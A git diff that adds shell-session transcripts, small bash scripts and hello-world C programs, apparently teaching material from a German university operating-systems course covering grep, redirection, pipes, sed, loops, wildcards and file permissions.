phoenix/home/peter/bo/2013ws/ainf/20131031.0> ¡ls -l¿ + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡cat test¿ + ls -l systech-20131008.* + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡chmod +x test¿ + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡ls -l test¿ + cassini/home/peter/bo/2013ws/systech/20131008.0> ¡./test¿ + -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux + ./20131031.0/orbit-x.c + ./20131031.0/orbit-x1.c + ./20131031.0/orbit-x + ./20131107.0/orbit-x.c + ./20131107.0/orbit-x1.c + ./20131107.0/orbit-x + ./20131031.0/orbit-x + ./20131107.0/orbit-x + -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131031.0/orbit-x + -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131107.0/orbit-x + rtech-20131002.pdf + -rw-r--r-- 1 peter peter 6753149 Okt 1 22:59 rtech-20131002.pdf +cassini/home/peter/bo/2021ss/bs/20210423> grep "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]*" unix-20210423.tex + ./2013ss/net/20130924.0/net-klausur-20130924.tex + ./2012ss/hs/20130318.0/hs-klausur-20130318.tex + ls -l systech-20131008.* + -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux + rtech-20131002.pdf + -rw-r--r-- 1 peter peter 6753149 Okt 1 22:59 rtech-20131002.pdf +cassini/home/peter/bo/2021ss/bs/20210423> grep -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]*" unix-20210423.tex +net-klausur-20130924.tex +hs-klausur-20130318.tex +systech-20131008. +systech-20131008.aux +rtech-20131002.pdf +rtech-20131002.pdf +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/grep-5.txt b/20210423/grep-5.txt new file mode 100644 index 0000000000000000000000000000000000000000..8b3c701f797a93de86e7e389148d1dfffe545a5b --- /dev/null +++ b/20210423/grep-5.txt @@ -0,0 +1,26 @@ +cassini/home/peter/bo/2021ss/bs/20210423> grep -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]*" unix-20210423.tex +net-klausur-20130924.tex +hs-klausur-20130318.tex +systech-20131008. +systech-20131008.aux +rtech-20131002.pdf +rtech-20131002.pdf +cassini/home/peter/bo/2021ss/bs/20210423> grep -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z][a-z]*" unix-20210423.tex +net-klausur-20130924.tex +hs-klausur-20130318.tex +systech-20131008.aux +rtech-20131002.pdf +rtech-20131002.pdf +cassini/home/peter/bo/2021ss/bs/20210423> grep -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]\+" unix-20210423.tex +net-klausur-20130924.tex +hs-klausur-20130318.tex +systech-20131008.aux +rtech-20131002.pdf +rtech-20131002.pdf +cassini/home/peter/bo/2021ss/bs/20210423> grep -E -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]+" unix-20210423.tex +net-klausur-20130924.tex +hs-klausur-20130318.tex +systech-20131008.aux +rtech-20131002.pdf +rtech-20131002.pdf +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/hello-error.txt b/20210423/hello-error.txt new file mode 100644 index 0000000000000000000000000000000000000000..7a3e3a6323b5d989be3bbbe96f45e6d4fc8e47fe --- /dev/null +++ b/20210423/hello-error.txt @@ -0,0 +1 @@ +grep: test: Ist ein Verzeichnis diff --git a/20210423/hello-files-and-error.txt b/20210423/hello-files-and-error.txt new file mode 100644 index 0000000000000000000000000000000000000000..b0b29831cd4b26cd684768828693d85ba98be314 --- /dev/null +++ b/20210423/hello-files-and-error.txt @@ -0,0 +1,9 @@ +grep-1.txt +grep-2.txt +grep-3.txt +iostreams-3.txt +iostreams-4.txt +grep: test: Ist ein Verzeichnis +test-1.c +test-2.c +unix-20210423.tex diff --git a/20210423/hello-files.txt b/20210423/hello-files.txt new file mode 100644 index 0000000000000000000000000000000000000000..3dd40b28f78abd44ab7b51bdaebb797cb9600b5d --- /dev/null +++ b/20210423/hello-files.txt @@ -0,0 +1,6 @@ +grep-1.txt +grep-2.txt +grep-3.txt +test-1.c +test-2.c +unix-20210423.tex diff --git a/20210423/if-1.txt b/20210423/if-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..3e8cf4e13e86960215f0b93c0cea0faa0390741c --- /dev/null +++ b/20210423/if-1.txt @@ -0,0 +1,4 @@ +cassini/home/peter/bo/2021ss/bs/20210423> file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1) +cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template +params-3.sh +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/if-2.txt b/20210423/if-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..635b5dfa33342183953e2083727af58ce5423eb4 --- /dev/null +++ b/20210423/if-2.txt @@ -0,0 +1,17 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Bonjour le monde !\n"); + return 1; +} +cassini/home/peter/bo/2021ss/bs/20210423> gcc -Wall -O test-5.c -o test-5 +cassini/home/peter/bo/2021ss/bs/20210423> ./test-5 +Bonjour le monde ! +cassini/home/peter/bo/2021ss/bs/20210423> if ./test-5; then echo "Merci."; else echo "C'est dommage."; fi +Bonjour le monde ! +C'est dommage. +cassini/home/peter/bo/2021ss/bs/20210423> if ./test-4; then echo "Merci."; else echo "C'est dommage."; fi +Bonjour le monde ! +Merci. +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/if-3.txt b/20210423/if-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..ee2a3d913c0b3dea7e62ab80d8ea91ff9f22ef91 --- /dev/null +++ b/20210423/if-3.txt @@ -0,0 +1,16 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Bonjour le monde !\n") + return 1 +} +cassini/home/peter/bo/2021ss/bs/20210423> gcc -Wall -O test-6.c -o test-6 && ./test-6 +test-6.c: In function ‘main’: +test-6.c:5:34: error: expected ‘;’ before ‘return’ + printf ("Bonjour le monde !\n") + ^ + ; + return 1 + ~~~~~~ +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/if-4.txt b/20210423/if-4.txt new file mode 100644 index 0000000000000000000000000000000000000000..a458917ec947aa22e0a63ec11117506e7872cd04 --- /dev/null +++ b/20210423/if-4.txt @@ -0,0 +1,9 @@ +cassini/home/peter/bo/2021ss/bs/20210423> echo $USER +peter +cassini/home/peter/bo/2021ss/bs/20210423> if [ "$USER" = "peter" ]; then echo "Hallo, Peter!"; else echo "Hallo, wer auch immer!"; fi +Hallo, Peter! +cassini/home/peter/bo/2021ss/bs/20210423> echo $DISPLAY +:5 +cassini/home/peter/bo/2021ss/bs/20210423> if [ -n "$DISPLAY" ]; then xeyes; else echo "Keine Grafik!"; fi +Beendet +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/input-1.txt b/20210423/input-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..87d825ae4e2adf20e628e84b07e7142fac249ae8 --- /dev/null +++ b/20210423/input-1.txt @@ -0,0 +1,13 @@ +cassini/home/peter/bo/2021ss/bs/20210423> del *wichtig* +unwichtig-1.txt unwichtig-3.txt unwichtig-5.txt unwichtig-7.txt +unwichtig-2.txt unwichtig-4.txt unwichtig-6.txt +Press ENTER to delete, ^C to abort. +cassini/home/peter/bo/2021ss/bs/20210423> which del +/home/peter/usr/bin/del +cassini/home/peter/bo/2021ss/bs/20210423> cat $(which del) +#!/bin/sh +ls "$@" +echo -n "Press ENTER to delete, ^C to abort." +read junk +rm "$@" +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/input-2.txt b/20210423/input-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..5efddfaa5b27bc90bc5abc5c47a4d2dc0739366c --- /dev/null +++ b/20210423/input-2.txt @@ -0,0 +1,5 @@ +cassini/home/peter/bo/2021ss/bs/20210423> read name +Peter +cassini/home/peter/bo/2021ss/bs/20210423> echo "Hallo, $name!" +Hallo, Peter! +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/iostreams-1.txt b/20210423/iostreams-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..817f3fdaa6508d437ad2a90bace2475009d1c08b --- /dev/null +++ b/20210423/iostreams-1.txt @@ -0,0 +1,4 @@ +cassini/home/peter/bo/2021ss/bs/20210423> echo "Dies ist ein Test." > test.txt +cassini/home/peter/bo/2021ss/bs/20210423> cat test.txt +Dies ist ein Test. +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/iostreams-2.txt b/20210423/iostreams-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..7257290e423d184a5a70fa4eea36b070c49e986a --- /dev/null +++ b/20210423/iostreams-2.txt @@ -0,0 +1,5 @@ +cassini/home/peter/bo/2021ss/bs/20210423> echo "Dies auch." >> test.txt +cassini/home/peter/bo/2021ss/bs/20210423> cat test.txt +Dies ist ein Test. +Dies auch. +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/iostreams-3.txt b/20210423/iostreams-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..9d143b406ba97ec0878c30ff2fc40a0619ea7383 --- /dev/null +++ b/20210423/iostreams-3.txt @@ -0,0 +1,18 @@ +cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello * +grep-1.txt +grep-2.txt +grep-3.txt +grep: test: Ist ein Verzeichnis +test-1.c +test-2.c +unix-20210423.tex +cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello * > hello-files.txt +grep: test: Ist ein Verzeichnis +cassini/home/peter/bo/2021ss/bs/20210423> cat hello-files.txt +grep-1.txt +grep-2.txt +grep-3.txt +test-1.c +test-2.c +unix-20210423.tex +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/iostreams-4.txt b/20210423/iostreams-4.txt new file mode 100644 index 0000000000000000000000000000000000000000..e4c57d3fdc6d5a09317b409627de2380bbc6c360 --- /dev/null +++ b/20210423/iostreams-4.txt @@ -0,0 +1,20 @@ +cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello * +grep-1.txt +grep-2.txt +grep-3.txt +iostreams-3.txt +grep: test: Ist ein Verzeichnis +test-1.c +test-2.c +unix-20210423.tex +cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello * 2> hello-error.txt +grep-1.txt +grep-2.txt +grep-3.txt +iostreams-3.txt +test-1.c +test-2.c +unix-20210423.tex +cassini/home/peter/bo/2021ss/bs/20210423> cat hello-error.txt +grep: test: Ist ein Verzeichnis +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/iostreams-5.txt b/20210423/iostreams-5.txt new file mode 100644 index 0000000000000000000000000000000000000000..e8b40291644f11d7407fdc3ca0114a778f36c070 --- /dev/null +++ b/20210423/iostreams-5.txt @@ -0,0 +1,12 @@ +cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello * > hello-files-and-error.txt 2>&1 +cassini/home/peter/bo/2021ss/bs/20210423> cat hello-files-and-error.txt +grep-1.txt +grep-2.txt +grep-3.txt +iostreams-3.txt +iostreams-4.txt +grep: test: Ist ein Verzeichnis +test-1.c +test-2.c +unix-20210423.tex +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/iostreams-6.txt b/20210423/iostreams-6.txt new file mode 100644 index 0000000000000000000000000000000000000000..08385ba4fcc8591c2133355f67cbd70e5a2ae94d --- /dev/null +++ b/20210423/iostreams-6.txt @@ -0,0 +1,3 @@ +cassini/home/peter/bo/2021ss/bs/20210423> echo 'Fehler!!!' 1>&2 +Fehler!!! +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/iostreams-7.txt b/20210423/iostreams-7.txt new file mode 100644 index 0000000000000000000000000000000000000000..ca5f11b88d5f942f3099343d5cd275c3f8543720 --- /dev/null +++ b/20210423/iostreams-7.txt @@ -0,0 +1,4 @@ +cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" > "test.bc" +cassini/home/peter/bo/2021ss/bs/20210423> bc < test.bc +4 +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/iostreams-8.txt b/20210423/iostreams-8.txt new file mode 100644 index 0000000000000000000000000000000000000000..e21ca489f3d9c6a2fa8b1fad86b27bd046ddbcdb --- /dev/null +++ b/20210423/iostreams-8.txt @@ -0,0 +1,3 @@ +cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | bc +4 +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/iostreams-9.txt b/20210423/iostreams-9.txt new file mode 100644 index 0000000000000000000000000000000000000000..332ab2c296dd28a2aac6985bddeb6dfc56242bbf --- /dev/null +++ b/20210423/iostreams-9.txt @@ -0,0 +1,10 @@ +cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff ls: Zugriff auf '*.cpp' nicht möglich: Datei oder Verzeichnis nicht gefunden +ls: Zugriff auf '*.py' nicht möglich: Datei oder Verzeichnis nicht gefunden +ls: Zugriff auf '*.diff' nicht möglich: Datei oder Verzeichnis nicht gefunden + unix-20210423.tex test-1.c test-4.c params-2.sh + test-2.c test-3.c params-1.sh params-3.sh +cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null unix-20210423.tex test-1.c test-4.c params-2.sh + test-2.c test-3.c params-1.sh params-3.sh +cassini/home/peter/bo/2021ss/bs/20210423> ls -l /dev/null +crw-rw-rw- 1 root root 1, 3 Apr 6 09:59 /dev/null +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/params-1.sh b/20210423/params-1.sh new file mode 100755 index 0000000000000000000000000000000000000000..89423aeae1bb6246e6d0c5acd58991227648b97b --- /dev/null +++ b/20210423/params-1.sh @@ -0,0 +1,3 @@ +#!/bin/bash + +echo $1 diff --git a/20210423/params-1.txt b/20210423/params-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..99bfcff2538974d2105920485a213c4c663a2a3c --- /dev/null +++ b/20210423/params-1.txt @@ -0,0 +1,17 @@ +#!/bin/bash + +echo $1 +cassini/home/peter/bo/2021ss/bs/20210423> chmod 111 params-1.sh +cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh +/bin/bash: ./params-1.sh: Keine Berechtigung +cassini/home/peter/bo/2021ss/bs/20210423> chmod 555 params-1.sh +cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh + +cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh Foo +Foo +cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh Foo Bar Baz +Foo +cassini/home/peter/bo/2021ss/bs/20210423> chmod 755 params-1.sh +cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh Pruzzel Proe +Pruzzel +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/params-2.sh b/20210423/params-2.sh new file mode 100755 index 0000000000000000000000000000000000000000..7102914424002091e56660128cb4bfe1410e9117 --- /dev/null +++ b/20210423/params-2.sh @@ -0,0 +1,4 @@ +#!/bin/bash + +shift +echo $1 diff --git a/20210423/params-2.txt b/20210423/params-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..c6d85aaf63a686ea9737a9d54ee8e63cfc7f3095 --- /dev/null +++ b/20210423/params-2.txt @@ -0,0 +1,9 @@ +#!/bin/bash + +shift 2 +echo $1 +cassini/home/peter/bo/2021ss/bs/20210423> ./params-2.sh Foo Bar Baz +Bar +cassini/home/peter/bo/2021ss/bs/20210423> ./params-2.sh Foo Bar Baz Pruzzel Proe +Bar +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/params-3.sh b/20210423/params-3.sh new file mode 100755 index 0000000000000000000000000000000000000000..a21f4a7afd3fa8d2c4b63e57f46cdd3433697322 --- /dev/null +++ b/20210423/params-3.sh @@ -0,0 +1,4 @@ +#!/bin/bash + +shift 2 +echo $1 diff --git a/20210423/permissions-1.txt b/20210423/permissions-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..7753ba766a0746572d1bbc91782f6e6868c8120a --- /dev/null +++ b/20210423/permissions-1.txt @@ -0,0 +1,8 @@ +cassini/home/peter/bo/2021ss/bs/20210423> cd test +cassini/home/peter/bo/2021ss/bs/20210423/test> cd .. +cassini/home/peter/bo/2021ss/bs/20210423> chmod -x test +cassini/home/peter/bo/2021ss/bs/20210423> cd test +bash: cd: test: Keine Berechtigung +cassini/home/peter/bo/2021ss/bs/20210423> chmod +x test +cassini/home/peter/bo/2021ss/bs/20210423> cd test +cassini/home/peter/bo/2021ss/bs/20210423/test> diff --git a/20210423/pipes-1.txt b/20210423/pipes-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..52e61e32cdf3dbe16dcc2dc289d61bcb519472e6 --- /dev/null +++ b/20210423/pipes-1.txt @@ -0,0 +1,5 @@ +cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | bc +8 +cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | bc +8 +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/pipes-2.txt b/20210423/pipes-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..1297679515178283114f974cc27601bd871b2646 --- /dev/null +++ b/20210423/pipes-2.txt @@ -0,0 +1,6 @@ +cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/' | bc 6 +cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/' +4 + 2 +cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' +4 + 4 +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/pipes-3.txt b/20210423/pipes-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..0b875199efc3fd84a2990dd328c837653ee304f7 --- /dev/null +++ b/20210423/pipes-3.txt @@ -0,0 +1,12 @@ +cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' +4 + 4 +cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | gzip +gzip: compressed data not written to a terminal. Use -f to force compression. +For help, type: gzip -h +cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | gzip | gunzip +4 + 4 +cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | gzip | gunzip | bc +8 +cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | gzip | gunzip | sed -e 's/4/3/g' | bc +6 +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/pipes-4.txt b/20210423/pipes-4.txt new file mode 100644 index 0000000000000000000000000000000000000000..575936dd9c4052de1f7c356eacb0bd400465b8c7 --- /dev/null +++ b/20210423/pipes-4.txt @@ -0,0 +1,6 @@ + 2142 find ~/bo/ -type f -name "*klausur*.pdf" + 2143 find ~/bo/ -type f -name "*klausur*.pdf" | grep "-fig[0-9]" + 2144 find ~/bo/ -type f -name "*klausur*.pdf" | grep "\-fig[0-9]" + 2145 find ~/bo/ -type f -name "*klausur*.pdf" | grep -v "\-fig[0-9]" + 2146 ls $(find ~/bo/ -type f -name "*klausur*.pdf" | grep -v "\-fig[0-9]") + 2147 zip -9 klausuren.zip $(find ~/bo/ -type f -name "*klausur*.pdf" | grep -v "\-fig[0-9]") diff --git a/20210423/pipes-5.txt b/20210423/pipes-5.txt new file mode 100644 index 0000000000000000000000000000000000000000..72529eecee6184f661445369ca67be8674070d40 --- /dev/null +++ b/20210423/pipes-5.txt @@ -0,0 +1,14 @@ +cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null unix-20210423.tex test-1.c test-4.c params-2.sh + test-2.c test-3.c params-1.sh params-3.sh +cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | cat +unix-20210423.tex +test-2.c +test-1.c +test-3.c +test-4.c +params-1.sh +params-2.sh +params-3.sh +cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1 +params-3.sh +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/sed-1.txt b/20210423/sed-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..412c17d0eacee74c1e535766c846509c00f8f385 --- /dev/null +++ b/20210423/sed-1.txt @@ -0,0 +1,7 @@ +cassini/home/peter/bo/2021ss/bs/20210423> file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1) +cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template test-6.c +cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template | sed -e 's/.*\.\(.*$\)/\1/' +c +cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template | sed -e 's/\(.*\)\..*$/\1/' +test-6 +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/test-1.c b/20210423/test-1.c new file mode 100644 index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac --- /dev/null +++ b/20210423/test-1.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Hello, world!\n"); + return 0; +} diff --git a/20210423/test-2.c b/20210423/test-2.c new file mode 100644 index 0000000000000000000000000000000000000000..b19d80e9bd0bd7c5ed8f54b20c6a50d9166f03ac --- /dev/null +++ b/20210423/test-2.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Hello, world!\n"); + return 0; +} diff --git a/20210423/test-3.c b/20210423/test-3.c new file mode 100644 index 0000000000000000000000000000000000000000..b12567c05cf7cf3d7b90f0f22635e78c3bcb6819 --- /dev/null +++ b/20210423/test-3.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Hallo, world!\n"); + return 0; +} diff --git a/20210423/test-4.c b/20210423/test-4.c new file mode 100644 index 0000000000000000000000000000000000000000..c79c1c33e2c85d817fe9abfe7f6f52f4cde29996 --- /dev/null +++ b/20210423/test-4.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Bonjour le monde !\n"); + return 0; +} diff --git a/20210423/test-5.c b/20210423/test-5.c new file mode 100644 index 0000000000000000000000000000000000000000..5f428754dd482e6044245d267994223e04856f6f --- /dev/null +++ b/20210423/test-5.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Bonjour le monde !\n"); + return 1; +} diff --git a/20210423/test-6.c b/20210423/test-6.c new file mode 100644 index 0000000000000000000000000000000000000000..08ad6a1254fc4d660e24087fa401156bde9245da --- /dev/null +++ b/20210423/test-6.c @@ -0,0 +1,7 @@ +#include <stdio.h> + +int main (void) +{ + printf ("Bonjour le monde !\n") + return 1 +} diff --git a/20210423/test.bc b/20210423/test.bc new file mode 100644 index 0000000000000000000000000000000000000000..a922b775b5315bf2bc04d96cbdaba8d32c911404 --- /dev/null +++ b/20210423/test.bc @@ -0,0 +1 @@ +2 + 2 diff --git a/20210423/test.txt b/20210423/test.txt new file mode 100644 index 0000000000000000000000000000000000000000..25cd896083bf6c919d1d2b70b8b06122e72cf5ca --- /dev/null +++ b/20210423/test.txt @@ -0,0 +1,2 @@ +Dies ist ein Test. +Dies auch. diff --git a/20210423/unix-20210423.pdf b/20210423/unix-20210423.pdf new file mode 120000 index 0000000000000000000000000000000000000000..5088e123b7cf3a13f3e818d8be9c5b5c70f0b056 --- /dev/null +++ b/20210423/unix-20210423.pdf @@ -0,0 +1 @@ +../20210409/unix-20210409.pdf \ No newline at end of file diff --git a/20210423/unix-20210423.tex b/20210423/unix-20210423.tex new file mode 120000 index 0000000000000000000000000000000000000000..8548cff5b6f4928e1bacf91d66f0f6d1ed4966da --- /dev/null +++ b/20210423/unix-20210423.tex @@ -0,0 +1 @@ +../20210409/unix-20210409.tex \ No newline at end of file diff --git a/20210423/vic b/20210423/vic new file mode 100755 index 0000000000000000000000000000000000000000..063daa1366b11b0914121af554892a2e2c68183f --- /dev/null +++ b/20210423/vic @@ -0,0 +1,39 @@ +#!/bin/bash + +debug=false + +if [ $# -gt 0 ]; then + $debug && echo "parameters = $@" + shift $(( $# - 1 )) + file_template="$1" +else + file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1) +fi + +$debug && echo "file_template = $file_template" + +file_extension=$(echo $file_template | sed -e 's/.*\.\(.*$\)/\1/') +file_base=$(echo $file_template | sed -e 's/\(.*\)\..*$/\1/') + +$debug && echo "file_extension = $file_extension" +$debug && echo "file_base = $file_base" + +file_number=$(echo $file_base | sed -e 's/^.*-\([0-9]*$\)/\1/') +file_stem=$(echo $file_base | sed -e 's/^\(.*\)-[0-9]*$/\1/') + +$debug && echo "file_number = $file_number" +$debug && echo "file_number = $file_stem" + +while [ -e "$file_stem-$file_number.$file_extension" ]; do + file_number=$((file_number + 1)) +done +new_file_name="$file_stem-$file_number.$file_extension" + +$debug && echo "new_file_name = $new_file_name" && read junk + +cp -pi "$file_template" "$new_file_name" +#$EDITOR "$new_file_name" +/usr/bin/vim -X -c 'set sw=2' -c 'set expandtab' -c 'set ai' -c 'set nowrap' \ + "$new_file_name" +clear +cat "$new_file_name" diff --git a/20210423/vicat b/20210423/vicat new file mode 100755 index 0000000000000000000000000000000000000000..c3565c648e9320f871f275b135cef86d4c918ebd --- /dev/null +++ b/20210423/vicat @@ -0,0 +1,5 @@ +#!/bin/bash +/usr/bin/vim -X -c 'set sw=2' -c 'set expandtab' -c 'set ai' -c 'set nowrap' "$@" +clear +shift $(( $# - 1 )) +cat "$1" diff --git a/20210423/while-1.txt b/20210423/while-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..a4492468164b8eac520137d6b0ee2fee75d73b29 --- /dev/null +++ b/20210423/while-1.txt @@ -0,0 +1,9 @@ +cassini/home/peter/bo/2021ss/bs/20210423> while true; do echo "Hello, world!"; sleep 1; done +Hello, world! +Hello, world! +Hello, world! +Hello, world! +Hello, world! +Hello, world! +^C +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/while-2.txt b/20210423/while-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..3920a02af05ba9acec1de7c974d48d2f58a78fc9 --- /dev/null +++ b/20210423/while-2.txt @@ -0,0 +1,11 @@ +cassini/home/peter/bo/2021ss/bs/20210423> while 1 < 2; do echo "Hello, world!"; sleep 1; done +bash: 2: Datei oder Verzeichnis nicht gefunden +cassini/home/peter/bo/2021ss/bs/20210423> while [[ 1 < 2 ]]; do echo "Hello, world!"; sleep 1; done +Hello, world! +Hello, world! +Hello, world! +Hello, world! +Hello, world! +Hello, world! +^C +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/while-3.txt b/20210423/while-3.txt new file mode 100644 index 0000000000000000000000000000000000000000..d90662084ec2f492a2ad34962b95b337e4892961 --- /dev/null +++ b/20210423/while-3.txt @@ -0,0 +1,5 @@ +cassini/home/peter/bo/2021ss/bs/20210423> while [[ 1 ]]; do echo "Hello, world!"; sleep 1; doneHello, world! +Hello, world! +Hello, world! +^C +cassini/home/peter/bo/2021ss/bs/20210423> diff --git a/20210423/wildcards-1.txt b/20210423/wildcards-1.txt new file mode 100644 index 0000000000000000000000000000000000000000..be63f871cba519dea269f74017800e6f6ebe0284 --- /dev/null +++ b/20210423/wildcards-1.txt @@ -0,0 +1,19 @@ +cassini/home/peter/bo/2021ss/bs/20210423> touch test-1.c test-2.c +cassini/home/peter/bo/2021ss/bs/20210423> ls -lrt +insgesamt 0 +lrwxrwxrwx 1 peter peter 29 Apr 16 10:19 unix-20210423.pdf -> ../20210409/unix-20210409.pdf +lrwxrwxrwx 1 peter peter 29 Apr 16 12:06 unix-20210423.tex -> ../20210409/unix-20210409.tex +-rw-r--r-- 1 peter peter 0 Apr 23 11:34 test-2.c +-rw-r--r-- 1 peter peter 0 Apr 23 11:34 test-1.c +cassini/home/peter/bo/2021ss/bs/20210423> mkdir test +cassini/home/peter/bo/2021ss/bs/20210423> cd test/ +cassini/home/peter/bo/2021ss/bs/20210423/test> mv ../test*.c +cassini/home/peter/bo/2021ss/bs/20210423/test> ls -l +insgesamt 0 +cassini/home/peter/bo/2021ss/bs/20210423/test> ls -l .. +insgesamt 4 +drwxr-xr-x 2 peter peter 4096 Apr 23 11:34 test +-rw-r--r-- 1 peter peter 0 Apr 23 11:34 test-2.c +lrwxrwxrwx 1 peter peter 29 Apr 16 10:19 unix-20210423.pdf -> ../20210409/unix-20210409.pdf +lrwxrwxrwx 1 peter peter 29 Apr 16 12:06 unix-20210423.tex -> ../20210409/unix-20210409.tex +cassini/home/peter/bo/2021ss/bs/20210423/test> diff --git a/20210423/wildcards-2.txt b/20210423/wildcards-2.txt new file mode 100644 index 0000000000000000000000000000000000000000..d42e553e09454a564d0b8da903de9229d75d7c1f --- /dev/null +++ b/20210423/wildcards-2.txt @@ -0,0 +1,22 @@ +cassini/home/peter/bo/2021ss/bs/20210423> ls -l +insgesamt 8 +drwxr-xr-x 2 peter peter 4096 Apr 23 11:37 test +lrwxrwxrwx 1 peter peter 29 Apr 16 10:19 unix-20210423.pdf -> ../20210409/unix-20210409.pdf +lrwxrwxrwx 1 peter peter 29 Apr 16 12:06 unix-20210423.tex -> ../20210409/unix-20210409.tex +-rw-r--r-- 1 peter peter 1045 Apr 23 11:36 wildcards-1.txt +cassini/home/peter/bo/2021ss/bs/20210423> touch test-1.c test-2.c 